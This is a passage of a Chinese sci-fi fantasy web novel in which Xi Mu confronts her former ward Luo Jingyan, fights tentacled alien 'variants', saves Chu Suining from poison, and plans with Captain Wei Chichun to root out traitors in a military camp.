尤启鼎坐在飞行器内,动都不动一下,等到席暮坐到驾驶座后才冲她得意一笑。
席暮无奈摇头,光脑已经为她指明了方向。
飞行器一路驶出军营,驶过高大的建筑,最后停在了一个人工立下的障碍前。
没有办法,前方的建筑密集且低矮,飞行器无法进入。
席暮目光扫过眼前的建筑,表情平淡,“这就是难民聚集地?”
“建个房子这么难?这些都是多少年前的建筑了吧?”推开障碍物,席暮走进了这片区域。
说实话,这里并不是什么脏乱差的地方,道路平整,建筑虽能看出年纪但也不算破旧。只是和外面一对比,这里就像是还活在过去的时间里。
“在她们来之前这里本来是打算修建博物馆,后来这里住进了人,再想推平重建她们就不愿意了。”尤启鼎解释道,他知道这里一定会让大人愤怒,只是错也不完全在陛下身上。
没有说话,席暮又往前走了几步,然后突兀停住扭头看向右边的一扇小窗户。
窗户后一团黑影受惊地晃动了一下,迅速消失不见。
“这里的人有工作吗?”
“有的有的。她们总归是要生活。”
但这里却是异常冷清,没有什么商铺甚至连卖吃的都没有,席暮能感觉到有不少人在建筑内,但她们竟然一点动静都没发出。
“骆景彦的位置变了吗?”席暮按下想要问个究竟的想法,先处理了骆景彦再说。
“没有。”尤启鼎一直盯着光脑那个红点,“就离我们不过三条街了。”
加快了脚步,席暮很快就抵达了目的地。她不是来找骆景彦聊天的,所以直接暴力打开了门。
骆景彦就站在客厅正中间,正等着席暮的到来。
“大人!”骆景彦三步并作两步大步上前,在席暮面前单膝跪下,伸手抓住了席暮的衣摆。
“大人……”骆景彦脸颊紧紧贴着那块布料,嘴唇颤抖,声音更是激动不已,“终于见到您了大人!”
席暮一脚踢开他,右手略过腰间,枪口抵住他的喉咙,“你人呢?”
这里的不过是骆景彦的一具傀儡罢了,尽管做的再真也不过是一具机器人的身体!
“我还想活着和大人您说说话,所以还请大人原谅我不能来见你。”
尤启鼎一阵龇牙,真是邪门到家了,说这几个人胆子小吧,真的什么都敢做,但你要说胆子到底多大,一个个在席暮面前又表现的异常乖巧。
很想扇他几巴掌,但只会痛到自己的手,“我已经足够容忍,骆景彦,你最好自己出现在我面前。”
席暮和骆景彦之前有链接吗?自然有,只是骆景彦能力特殊,现在这份链接被分散成了无数份,席暮很难分辨出骆景彦真实所在。
也正因此,骆景彦才敢派出这具傀儡出现。
骆景彦不说话,只一味贪婪盯着席暮的脸,生气的大人,鲜活的大人……
“嗞。”扣动扳机,枪□□出激光直接烧穿了这具身体的眼睛。
“令人恶心,这双眼睛还是别要了。”
说话间,席暮回头冲尤启鼎使了个颜色,左手比了个手势。尤启鼎立刻反应过来,从口袋里掏出了一个小型装置,按下。
看不见的磁场笼罩了这间房子,席暮一枪解决了眼前的机器傀儡,闭上了眼睛。
火红色精神力团开始旋转,将那团青色的精神力团彻底压制。精神力丝迅速找到了和骆景彦的链接,开始搜查。
既然别的方法找不到,那大不了就硬找。
尤启鼎后退了几步,席暮身上散发出来的精神力波动让他有些难受。
“连精神力海都带过来了?”尤启鼎掐了自己一下,强迫自己找回思考能力,“不可能,这怎么可能?!”
时间一点点过去,骆景彦被那层磁场屏蔽了一切查探工具,他没有办法知道席暮现在在做什么。
“该死的老头!”骆景彦眉眼阴翳,那双银灰色的眸中恨意涌出,“就知道怪我的事!凭什么连你这样的人都能得到大人的青睐!”
手中的金属被捏成了一团,骆景彦随手扔掉开始尝试另一种可能。
他现在离席暮其实只有不到三公里,最危险的地方往往就最安全。大人一时很难知道他现在在哪,所以不着急还有时
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间。
“主教,人带来了!”
楚岁宁被扔到了地上,就落在了骆景彦的脚边。
在这个人身上闻到了熟悉的情绪,楚岁宁费力仰起脑袋想要看清楚这个人的长相,他就是公爵的孩子?他的前辈?
“啪!”脸上重重挨了一下,接着腹部传来剧痛,但最令楚岁宁难受的是这个人身上粘稠的宛若污泥的情绪。
这样深沉的恶意拉着楚岁宁不断下坠,那些扭曲的嫉妒缠绕着他使他无法挣扎。
“你就是公爵的孩子?”楚岁宁率先开口,“你好臭。”
骆景彦表情瞬间就狰狞起来,大人居然告诉了他!凭什么!凭什么!这个人才认识大人多长时间?!
找到了!席暮睁开眼,火红色的火焰在她眼中燃烧,“老尤,遮掩行踪。”
“是!”熟悉的命令,尤启鼎长舒了口气,精神力涌出,绕过席暮,形成一个茧将其包裹。
好久没用过能力了,尤启鼎注意力高度集中,生疏不少。
裹挟着尤启鼎,席暮就像是一阵风吹过街道,不过几分钟席暮就来到了骆景彦所在。
确认屋内人数和站位后,席暮不假思索让大风吹碎了窗户,然后火焰吞噬了屋内的一切。
“!!!”骆景彦对这火再熟悉不过,来不及震惊,他向后一仰,从旁边的窗户钻进了更深处。
火焰只是轻柔的在屋内所有物体表面舔舐了一遍,但这对屋内的人伤害却是强悍。
“啊啊啊啊啊啊!”那位将楚岁宁带来的人捂着脸痛苦蜷缩起身体,发出了凄厉的嘶吼。
楚岁宁躺在地上,头发散发着烧焦的味道,但他却惊喜不已,目光期待望向窗外。
踹开大门,缓步走进屋内的席暮环顾了一圈四周,挑眉,“骆景彦,还躲?”
她没有认出那个躺在地上的人是楚岁宁,好几天没见,还被烧过,实在难认。
席暮甚至没有留任何注意力给地上的人,她直接看向那扇被关上的窗户。
人就在那后面。
沉默僵持了一会后,席暮叹了口气,揉了揉眼睛,“你要是再不说话那以后就永远不用开口了。骆景彦,你知道我从来说到做到。”
“大人!”骆景彦终于从窗后露出了真容,只是令席暮诧异的是,那头原本漆黑的头发竟已变成了银白。
“所以,还有什么话说?”席暮向前走了几步,骆景彦异能特殊,但他本人没有什么战斗力。
“……”骆景彦不甘心,辜原的计划还没有实现,他不能就这样见大人,大人绝不会原谅他!
但他现在根本逃不出去!骆景彦咬着牙,目光投向了地上的楚岁宁。
所以,他能赌一把吗?那个楚岁宁对大人来说算什么?
如果大人真的因为楚岁宁有所动摇怎么办?!
矛盾充斥着骆景彦的内心,他既希望楚岁宁真的能够发挥作用为他寻得一线生机,但他又不希望楚岁宁在大人心中真的有地位。
他无法忍受!他嫉妒!
33. 第 33 章
没有人说话。
骆景彦不说话是因为他想挣扎,席暮不说话是在等回答,但楚岁宁却是说不出话。
刚才的火焰对他造成了不小伤害,但最关键的是从骆景彦身上涌出的令人厌恶的情绪。
佝偻着身体,楚岁宁尝试开口喊席暮的名字,可嗓子哑着开不了口。
“大人,地上那位你也不管了吗?”下了决定,现在不能和大人有太多接触,所以尽管不甘尽管痛恨,骆景彦还是开口了。
这下席暮终于分了些注意力在地上的人影上,尤启鼎上前将人翻了个身,楚岁宁的面容就露了出来。
“平安?”出现在这的楚岁宁令人惊讶,他痛苦的神色更是如此,席暮不由惊呼出声。
平安?相同的疑惑出现在尤启鼎和骆景彦的心中。
但很快,骆景彦咬紧牙关,心里恨得发狂,大人居然对他有昵称!如此受到大人宠爱?!
楚岁宁眨了眨眼睛,在尤启鼎的搀扶下他走到了席暮身边,小心翼翼伸出手,那被火燎过的皮肤上通红一片。
席暮皱起眉,没阻止他的动作。
楚岁宁抓住席暮的衣角,嘴角漾起一个浅笑,摇头。
他的意思是他没事,让公爵不用担心。
“我在他身上下了钩子,大人,我只是想离开。”骆景彦吐出了一个奇怪的称呼,但他和席暮都知道这个词的意思,“大人,放我走。”
被骆景彦留下钩子就意味着成为了骆景彦的载体,就算打死了骆景彦,这个人不是死就是傻。
席暮知道利害,但她不想让人走,“你们大费周章把我弄来,不就是想见我吗?现在有这个机会你却不想见?”
听出了嘲笑的意味,骆景彦生生将自己的手臂扣出了五个口子,鲜血沿着手臂流下,他们想要那个疼爱他们的大人!
“所以大人不在乎他对吗?”骆景彦不回答问题,只反问。
尤启鼎下意识看向楚岁宁,但楚岁宁低着脑袋看不清神情,只是令尤启鼎不解的是,现在谈论的可是他的生命安全啊,他怎么一点反应没有?
“放你走可以啊,但你得说清楚辜原和你的计划。”席暮也不接话,或许是真的太久没见,她好像也不了解这几个她养大的孩子了。
骆景彦怎么可能说的出口,他真的在楚岁宁身上下了钩子吗?并没有。
“别慌。”飘渺的声音在耳边响起,骆景彦精神一振,他竖起耳朵屏息聆听,那声音又道,“你再往后退一退。”
虽然不解,但骆景彦相信他,于是往后退,又翻过了一扇窗户。
察觉到不对,席暮也顾不上活抓询问信息了,火球轰碎窗户后数道火刃从火球中直奔向骆景彦的面中。
席暮紧随其后,楚岁宁被她夹在手臂下,还没来得及反应,就闻到了腐朽的味道。
楚岁宁瞪大了眼睛,行动快过思考,他立刻一扯席暮的手臂,带着人向后仰去。
借助窗户席暮迅速向后退去,紧接着,数个庞大的身影从天而降,激起了一大片灰尘。
席暮挥了挥手臂,灰尘中的身影逐渐清晰,她眼皮一跳。
异种降临!
半层楼高的体型,横向却也有半层楼厚,细长的触手在它们头顶挥舞着身躯,宛如□□一般蹲坐在那。
席暮又后退了几步,这类异种行动缓慢,但防御力却异常强悍,最重要的是,有毒,毒性强烈,那些细长的触手就是它们的武器。
眼睛一扫,一共五只异种。只靠她一个人没有办法对付,她的火焰倒是能烧死这些异种,但决不能让它们将毒素传播出去,不然这周围的人就危险了。
但,为什么异种降临的动静这么大,她却没有听到外面有任何动静?
席暮心中越发警惕,她将楚岁宁往身后一撇,尤启鼎立刻上前拉住楚岁宁就往外跑。
与此同时,尤启鼎光脑早已亮起了求援信号。
楚岁宁还是说不了话,他甚至挣脱不开尤启鼎的拉扯,他只能努力扭头去看席暮的背影。
没有了人,席暮总算松了口气。
“呱!”五只异种齐齐发出咆哮,头顶细长的触手更是争先恐后伸向席暮。深绿色的薄雾笼罩在触手上,并不断向外扩散着。
席暮高高跃起,挥动双手发出火焰,火红色的火焰一接触那些绿雾就发出了‘滋滋滋’的声音。
风裹着那些绿雾形成了一个又一个小型龙卷风,不让那些雾气散开。
火顺着绿雾蔓延向触手,然后一路向上烧向异种本身。借着风势,火焰越发凶猛。
“不应该啊……”虽然这五只异种移动很慢,但在这样的伤害下它们居然一点声音都没发出?席暮眉头越皱越深。
果不其然,火焰没能在异种身上留下一丝一毫的伤口,触手紧紧追在席暮身后。
不可能!席暮一个翻身躲过袭来的触手,身体在空中不断挪移,可那些触手比她灵活多了,眼见着就要碰到她了。
!!!尤启鼎倒吸了口凉气,几乎是下意识就要抓住身边的人,但手探了出去却没碰到一个人。
尤启鼎一个激灵,楚岁宁人呢?扭头看去,却迎面撞上了一块砖头,于是两眼一翻晕了过去。
扔掉砖块,楚岁宁双手合十拜了拜,然后毫不犹豫又翻回了屋内。
屋内,席暮越打越奇怪,当年这异种她虽然不能说一打十吧,但对付五只绝对没问题,可现在她的攻击居然一点伤害都无法造成?!
这是真的还是假的?席暮一咬牙,一狠心直接冲向了异种。
手掌下传来了粘滑柔软的皮肤触感,是实体不是假的!席暮躲开触手,一把火在手上升起,将那些粘液少了个干净。
粘液能烧掉,绿雾能烧掉,可这异种本体却一点不受影响?
席暮不信,加大了火力。
“触、咳咳…”楚岁宁就是这时闯了过来,他能开口了,只是声音还哑着,咳嗽个不听,“触手!”
她当然知道要小心触手!席暮死死盯着,很不得把当
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年那把火箭炮抗过来,可现在她居然一点办法没有!
“人,咳,我敲晕了!”楚岁宁躲在角落里,高声喊道。
什么人?等等,他不是说异种的触手?席暮反应过来了,没有半分犹豫,伸手黑色的触手展露了狰狞的身躯。
异种的触手在她的触手面前就像是一根牙签,而在触手现行后,那五只异种突然颤抖起来。
“!!!”触手集体传出了兴奋的渴望,不等席暮说话,它们就直接扎进了异种的血肉里。
“咕噜咕噜。”吸吮吞咽的声音不断响起,那些异种的触手也逐渐萎靡失去了力气。
席暮终于落回了地上,楚岁宁迅速靠近。
“谢谢。”用以前的经验对抗异种惯了,再加上还有个尤启鼎在,席暮根本没想过用触手,但楚岁宁解决了她的后顾之忧。
楚岁宁抿着唇摇头,“是我先做错了事,我这是在戴罪立功。”
席暮不说话了,她还是觉得别扭,在她这向来是一码归一码,楚岁宁今天帮的忙抵不了之前的事。
闻出了席暮的情绪,楚岁宁有些泄气。
现在也不是闲聊的时候,席暮抬眼观察那五只异种,它们居然没有任何反抗,任由触手们汲取着血肉。
“你从它们身上感知到了什么吗?”楚岁宁不止对情绪敏感,对异种好像也有着感应。想到这点,席暮又转过头去看楚岁宁。
“它们是异种!”楚岁宁肯定回答,“但它们没有情绪。”
这就有意思了,异种也是有情绪的,席暮体会过,这些异种发起怒来异常滑稽。
可是眼前这五只是异种、会攻击、会散发毒雾却没有情绪?席暮几乎是立刻就想到了辜原。
她记得辜原的能力和灵魂有关。
吃饱喝足的触手挥舞着身躯,满足地打了个饱嗝,懒洋洋回到席暮精神海内消化去了。
“小心!”在最后一根触手回去后,只听一声惊叫,席暮猛地被楚岁宁扑倒。
楚岁宁一震,随后身体就软了下去,趴在席暮身上再没了回应。
席暮瞪大眼睛看向楚岁宁的背部,然后在他脖颈后发现了一只不过指甲盖大小的异种。
“隐形虫”,这是席暮对它的称呼。在席暮这里,有着专属称呼的异种都很特殊。就好比这隐形虫,没有战斗力,只有一根针长在头顶,像那蜜蜂,针扎入人体内后就会脱落,于是隐形虫当场就死。
但隐形虫并不会就此掉落,它会挂在针上,它体内的一切会融化成一团液体通过针进入人的体内。至于这液体会造成什么后果,就得看命了。
最重要的是,在隐形虫扎入人体内前,是无法被人看见的。
但对楚岁宁来说,它有情绪!不能被看见没关系,只要有情绪他就能闻到!
这只隐形虫是从正中间干瘪掉的异种身上骤然弹出的,如果不是楚岁宁发现了,那这只隐形虫必然会扎入席暮体内。
那么,到时候发生什么就都不由席暮决定了。
34. 第 34 章
掐住被隐形虫扎入部位的周围,席暮小心放出小小火苗将那根扎入体内的针烧融,然后在原地割开一个小口,在那皮肤之下已经是灰色一片,席暮表情越发凝重,毒液已经开始扩散了,为什么会这么快!
不行,不能再拖!不容犹豫,席暮扯出一根触手,刀刃划过分出一根细长触手,顺着割开的伤口钻入了楚岁宁体内。无视这举动带来的痛楚,席暮全神贯注,精神力通过触手在楚岁宁体内铺开,寻找着最初的毒液。
“唔……”昏迷的楚岁宁发出一声闷哼,身体不由自主痉挛起来,手脚更是一阵抽搐,于是下一刻,两根触手分别困住了他的手脚,席暮忙着搜寻没有余力关注触手,因此,剩余的触手开始蠢蠢欲动起来。
悄悄的、一根触手从地面蜿蜒前进,顺着贴着地面的衣角缓缓爬上了楚岁宁的腹部,在那里有什么在吸引着它们。然后,剩余的触手全都爬上占据了腹部所有空间。汲取了足够能量的触手已经做好了准备,它们迫不及待进入下一阶段了。
找到了!席暮和触手同时大喜。
只要将这团毒液也吞下,那么楚岁宁就不会有大碍。治疗方案有了,席暮便毫不犹豫执行了该方案,被分出来的这根细长触手在席暮的命令下不情不愿地圈住逃跑的毒液,开始吸吮。
与此同时,剩余触手齐齐扎入了楚岁宁的腹部,找到了那处吸引着它们的地方,注入了那团被它们提取过的精华。
随着最后一滴毒液被吞下,伤口下的血肉也褪去灰色变成血色,席暮就知道成了。收回触手,不等毒液流入她的体内,再度挥刀,触手脱离身体落到了地面,迅速开始干枯。
“嘶。”缓缓吐出口气,席暮下意识捂住了肩膀,尽管有所准备但她还是没忍住,真的挺疼的。
而此时,其余触手已经完成了它们的使命,毫不在意这根被抛弃的触手,徐徐钻回了席暮的体内。对它们而言,为求生断尾太过寻常。
楚岁宁的呼吸逐渐平缓,身体也恢复了平静。
背起楚岁宁,捡起那截触手,席暮还不忘顺手对眼前的现场进行拍照录像留证,这些照片已经够附近驻扎的军队喝上几壶。走到门口,尤启鼎还在地上躺着,沉默的席暮叹了口气,毫不客气拍着人的脸,将人硬生生拍醒了。
“大人?”尤启鼎捂着脑后勺,那地方仙子还在不断传来阵痛,他没有看清是谁打晕了他,因此格外警惕,“大人,这里还有第三方势力,你发现她们了吗?”
嘴角一抽,席暮示意他向屋里看,尤启鼎顿时倒抽了一口凉气。
“这、这、这!”尤启鼎差点不会说话,他愕然盯着那几具死去的尸体,脑子里第一反应就是,西塔的这几支军队都是什么废物,居然能让异种进入星球还没有任何反应!而且距他发出求援多久了?居然没有一个人赶到!
“大人,你先走。”迅速做出反应,尤启鼎向着屋内走去,“我来收拾现场,等待救援人员到来。其他的,您不用担心。”
“好。”要是只有席暮一个人那倒是不用走,但她背上还有个楚岁宁呢。席暮可不想被盘问个几轮。
至于尤启鼎?他表示他没看见大人背上还有人。
宿舍暂时是回不去的,但西塔不同于首都,找个不用身份登记就能住下的旅馆不是问题,有着丰富经验的席暮很快就找到了住处。
精神力探出将那些监视手段一一废除,席暮这才将脸上的伪装去除,尤启鼎给的这些东西还不错,席暮心想,然后掏出刚买的瓶装水灌了半瓶。
“呼。”舒展了下身体,席暮才继续检查楚岁宁现在的状况,脸上重新有了血色,看起来状况不错。就是不知道什么时候会醒。
随手拖了把椅子坐下,席暮双手环胸,靠着椅背目光沉沉,他为什么要救自己?而且甚至没有一丝犹豫。楚岁宁扑过来的画面不断在席暮脑中回放,越想席暮就越不明白。
他到底怎么想的?他知道隐形虫这种异种是致命的吗?他知道目前没有救治手段吗?明明都被带出去了,还回来干什么?
总不能是因为她吧?
席暮想要扯动嘴角发出一声嘲笑,可她做不出表情,因为她清楚明白,楚岁宁就是为了她才回来的,才会救她。
所以,到底是为什么呢?
那根被埋进楚岁宁体内的触手就像是死了一样,席暮想起这个,站起身,再度拨开了楚岁宁后颈处的头发找到了被自己种下的触手,断成了两截的触手在她的命令下浮出表面,向她打了个招呼。
还活着,好得很,从它们身上席暮确定楚岁宁对她没有任何爱情。
这就让席暮更困惑了。
两个小时后,楚岁宁醒了。这中间,席暮收到了来自尤启鼎的信息,尤启鼎告诉她,她和楚岁宁的消失没有引起任何人的注意。只要席暮和楚岁宁在今晚之前回到宿舍就行。
而现在,楚岁宁醒了,一切就更不是问题了。
“……”看着楚岁宁,席暮头一次发现自己别别扭扭的,张不开口。<
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“公爵?”楚岁宁就像是什么都没发生一样,“我们没回家吗?”
“等你醒来就回去。”席暮捋着头发,回了一句,一句话说出口一切都顺畅了,她接着问,“你之前为什么能毫不犹豫救我?”
“因为公爵和我是亲人。”楚岁宁不假思索就脱口而出,回答非常质朴,而且他的表情异常真诚。
席暮再度沉默,她想了又想,“你是不是知道我是谁?”
“啊?”他的反应表明了一切,他不知道她是什么救世主初黎,他只知道她是席暮。
“你不是能感知我的情绪吗?你难道不知道我可不是什么好人?”席暮微微偏过脑袋,避开了两人直接的目光接触。
楚岁宁看上去更困惑了,“我之前就和公爵说过啊,公爵身上的味道就像是旷野的风,很干净。所以,大人不是坏人。”
嘁,这什么破比喻。不过这句话席暮倒是想起来了,她当时还以为楚岁宁这是什么个人特色呢,没想到居然是真话。
“而且,公爵一直很照顾我。书里说过,亲人就是要互相帮助,以前我都帮不到公爵什么,这次好不容易有了机会。”
“你知不知道你会死!”席暮猛地提高了声调,她戳着楚岁宁的额头,大声强调,“会死人的!”
“那有什么关系?”楚岁宁捂着脑袋不断后退,丝毫不在意,“反正我已经帮了公爵。”
荒谬!席暮被气的不轻,“你在说什么东西!我告诉你,活着是最重要的!没有什么比自己活着最重要!”
见楚岁宁梗着脑袋一副我不听我不听的样子,席暮脑仁一突一突地跳,青筋都蹦出来了。
“看来是我之前没有给你做好培训。”席暮舔过下唇眯起眼睛,语气危险,“是我这个亲人做的不够到位。”
楚岁宁不知为何莫名打了个哆嗦。
深夜,在尤启鼎的掩护下,席暮和楚岁宁安全回到了宿舍。
但席暮没睡,她开始搜索一切育儿手册,之前她只教过一点就没再继续,但现在,她觉得教育很有必要。
昏黄的灯光下,楚岁宁趴在桌面上睡得沉沉,旁边坐着奋笔疾书的席暮。
突然,楚岁宁腹部抽动了几下,睡梦中的楚岁宁下意识抬手捂住了那里。
手心下的腹部传来有规律的跳动,一下又一下,逐渐从微弱变得清晰,仿若一场昭示新生的心跳。
但这一切,无论是睡梦中的楚岁宁还是狂补育儿知识的席暮都无从知晓。
35. 第 35 章
第二天一早,紧急会议被召开,作为后勤装备部的一员席暮并在此列。只是,令席暮没想到的是,有人一大早就来堵她了。
“卫上尉?”席暮扣好军装的最后一粒扣子,礼貌询问,“请问有什么事吗?”
“我不知道你为什么来这里。”卫炽春站的笔直,语气也格外严肃,“但是席暮,你昨天去了哪里?”
“我昨天的任务是护送尤大师外出采购。”
“那尤大师遇见异种时你在哪里?”卫炽春伸出食指压在唇上,已经有些不耐烦,“我不知道为什么尤大师为你遮掩,你也不用撒谎骗我。”
“有人为你做保,我不怀疑你的忠诚。但你下次有什么行动前,请告知我一声。”
席暮耸了耸肩,不用解释也省事,只是谁会让卫炽春如此信任?要知道她是宿初夏的人这点可从来没掩饰过,但卫炽春却不是这态度。
这么想着,说话也就更随意了些,“今天的紧急会议是围绕昨天发现的异种?”
“是。”显然这个问题出乎了卫炽春的意料,但她没有隐瞒,“既然能有五只悄然进入我们的封锁区,那么谁也不能保证没有更多。”
“你有什么线索吗?”这才是卫炽春来此的目的,她不被允许参与会议,无法得知更多情报,她才会找上席暮。
“所以卫上尉为什么不在会议中?”以卫炽春的职位,这种会议一般不会缺席才对,总不至于这些人连演都不演了吧?
卫炽春冷笑出声,“这里可是启明军,派系林立,我既无背景,不会奉迎上司不讨喜,选择中立也就选择了被孤立,不过是自己选择。”
“所以卫上尉的意思是我们自己查?”席暮当然明白卫炽春的处境,只不过她原以为一切都会更委婉,那些龌龊表面总会有层遮羞布吧?
只是现实真是,更梦幻呐。
“是。”卫炽春仰起头坦然应下,丝毫不管一旦这话传入他人耳中会有什么后果,“你要查吗?”
纯纯愣头青,无语之后还能怎么办呢?只能把人迎进门好好说道说道。
“进来吧。”席暮转过身,然后才想起来她刚才是准备去干什么的,“话说,我就这么直接旷工了?后勤部那边还有任务。”
“收起那套吧,在军中有谁能管你呢?反倒是你之前天天都去才叫那些人奇怪呢。”
行,她爱岗敬业还有错,席暮不说话了。
“席暮?”听到声音后,楚岁宁从房间内探出脑袋,因为感知到了别人的情绪,所以提前换了称呼。
朝他挥了挥手,谈正事另一个当事人自然也要在场。
卫炽春并不知道楚岁宁昨天被带走的事。所以在席暮示意楚岁宁讲述时,神情不免有些困惑。
可当楚岁宁两三句讲完他昨天的经历后,那张脸上已是一片铁青。
“你还能认出昨天带走你的人是谁吗?”几乎能听到卫炽春咬牙的声音。
楚岁宁下意识看向席暮,见席暮毫不在意,心里那点忐忑也落了地,“卫上尉,那个人可能并不是人类。”
他不会错过任何情绪,除非无生命物体。
仿生人还是什么?卫炽春脑子里瞬间弹出多个选项,但无论是哪种,这条线索基本没用了。
“我能找出军营内所有心思不轨的人,总有一个能跟我们要找的人扯上关系。”这指的自然是楚岁宁的能力,只是这能力特殊,一旦暴露绝不会好过。
被那样选择过一回,席暮那些芥蒂消失得一干二净,对楚岁宁的看法发生了大幅扭转,很自然就将人放到了庇护圈里。
对他的能力不仅不介意,甚至瞬间就发掘出了这个能力的数种可用性。
“就是不知道卫上尉你敢不敢来把大的了?”
撑着下巴,席暮笑得危险。追查线索,一点一点向上摸索直至找到幕后黑手,太慢太慢,无趣。
既然有着强力工具,为什么不用呢?趁着所有人都没反应过来,直指最终BOSS才是席暮最喜欢的。
“怎么做?”卫炽春只犹豫了一瞬间,还是因为她在思考到时候该怎么写报告,可以说果断。
“三天时间。”伸出三根手指晃了晃,“给我三天时间我给你名单,剩下的就靠你去查了。”
“哦,或者我交给陛下去查也一样。”
“没问题。”都是陛下的人,谁汇报都行。
“卫上尉做好准备了?这么大的动作,面临的压力可不会小。”谁知道找出来的会是什么角色,保不准那些人背后都有什么大背景。
宿初夏是皇帝,但皇帝可不是就能肆无忌惮,要考虑的多了去了,被钳制是常有的事。
“正好对启明进行一场大扫除。”卫炽春不仅不畏惧,反而满怀期待,奉陛下命来到启明已经三年,处处掣肘,只能眼睁睁看着那些人堕落,她的心里早已压了一团火。
更何况,一想到昨晚见到的人,卫炽春眼中仿佛有火焰在燃烧。
再之后就没有更多了,卫炽春立刻起身就要离开,然后被席暮懒洋洋的声音叫住,“卫上尉,能不能问一下那个为我担保的人是谁?”
卫炽春有些迟疑,但转念一想,她们是有着同样信仰的人,没什么不能说的,“是尤大师。”
还真是他?只是他的话在卫炽春这比宿初夏还好使?
“作为救世主大人的追随者,他继承了大人的遗志。”
席暮身体一颤,被这话激得浑身的鸡皮疙瘩都起来了,强扯出抹笑,“这、这样啊,我明白了。”
见席暮没有更多问题了,卫炽春微微颔首,走出了宿舍。
“公爵…”楚岁宁不知何时坐到了席暮身边,两人之间隔了一个小臂的距离。
楚岁宁其实有些好奇,但他不知道该不该问,因为一旦问了就会联系到他的能力,他还记得公爵很不喜欢。
“有问题就说。”席暮也没拉开距离,一家人总会有特权。
“你认识救世主初黎吗?”
“为什么这么问?”难道是她哪里有破绽?
“公爵刚才的情绪很复杂。”
又忘了,楚岁宁判断事情不是根据常理。对他来说撒谎也没有意义,“认识。”
一般人这时候肯定要惊讶席暮的年龄,但楚岁宁不是一般人,“那公爵知道她葬在哪吗?”
席暮沉默了,这个,她好像真的不知道……
“咳,你是要祭拜她?”没办法,她只能先扯开话题了。
“嗯!她是个很厉害的人,我很感谢她。”楚岁宁眼睛亮晶晶,
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是那种很高兴的神情。
被人当着面说祭拜,怎么想都觉得奇怪,席暮连忙又换了个话题,“刚才我说的三天内找到军营中不对劲的人,你能办到吗?”
“只要那些人有过坏念头,我都能知道。但如果她自始至终都没有情绪变化,我就没办法闻到了。”
席暮点头,比她想的更好,至于那些没有情绪变化的,她自然也有办法了。
“那辛苦你了平安。”拍了拍楚岁宁的肩膀,席暮不吝啬给出奖励,“等事情完成我可以满足你一个愿望。”
“谢谢公爵。”楚岁宁甜甜一笑,对他来说都不需要额外做什么,轻而易举的事情还有奖励拿,真好!
尽管有所了解,但楚岁宁的能力还是再度让席暮震惊。
无需精神力,无需准备甚至无需休息,只要楚岁宁见到人就能迅速做出判断,就好像这项能力对于楚岁宁来说不是什么需要去点去培养的游戏技能,而是被刻在基因里的被动天赋。
又快又准,等到尤启鼎带着楚岁宁在整个军营走了一圈之后,坐在宿舍里楚岁宁就能准确分辨每个人的情绪变化。
实在是恐怖。
“唔。”仰起头,楚岁宁右手笔不停,左手扯过纸巾堵住鼻孔,氤氲的血色很快就将雪白的纸巾染红。
而在桌面的纸上,一个又一个名字被写下,又被划去。
“够了!”只是出门端了个夜宵的功夫,回来就看到有人隔着透支身体,席暮几乎是瞬移到人身边,按住了他的手。
“你做的已经很好了,休息吧。”放柔语气,席暮将卫炽春送来的夜宵放到楚岁宁手上,“休息吧。”
没人管,楚岁宁就狠狠做事,有人说,他立刻就老实。
把笔推到一边,纸巾也扔进垃圾桶,楚岁宁开始品尝香甜可口的夜宵。
瞄了眼垃圾桶,除去刚才扔进去那张之外,没有更多纸巾。席暮这才满意,“我刚才是怎么跟你说的?事情要量力而为,不允许伤害自己的身体。”
“……”楚岁宁心虚低着头不敢说话。
“这次记住了吗?”沉默就是糊弄,席暮一直这么认为,她揪住楚岁宁的耳垂,用力捏了捏,“不许不说话。”
“知道了公爵。”
“有奖就有罚,如果你下次再犯,我就要让你印象深刻!”席暮抬起手虚晃一枪,从楚岁宁手上夺走了那碗夜宵。
楚岁宁维持着捧碗的姿势,呆愣愣的。
“就像这样。”
“知道了!”楚岁宁加大了声音保证,不知道为什么今天格外容易饿,不然她们本来没有夜宵环节。
夜宵重新回到手里,楚岁宁饿狠了一般加快了速度。可尽管吃完了,那股饥饿感还是没有消失。
楚岁宁犯起愁,身体告诉他已经吃不下了,可饥饿感还在脑中徘徊。
“公爵,饿……”
席暮看了眼空碗,愕然抬眼,“这么一大碗你都吃完了还饿?”
但她很快反应过来,现在早已过了楚岁宁的睡觉时间,“是不是因为今天睡晚了?好了,今天的工作到此为止,你该回去睡觉。”
楚岁宁撑着桌子摇头,被公爵一提醒,他才发现他居然到现在都没有任何困意,极端的睡意被饥饿完全取代!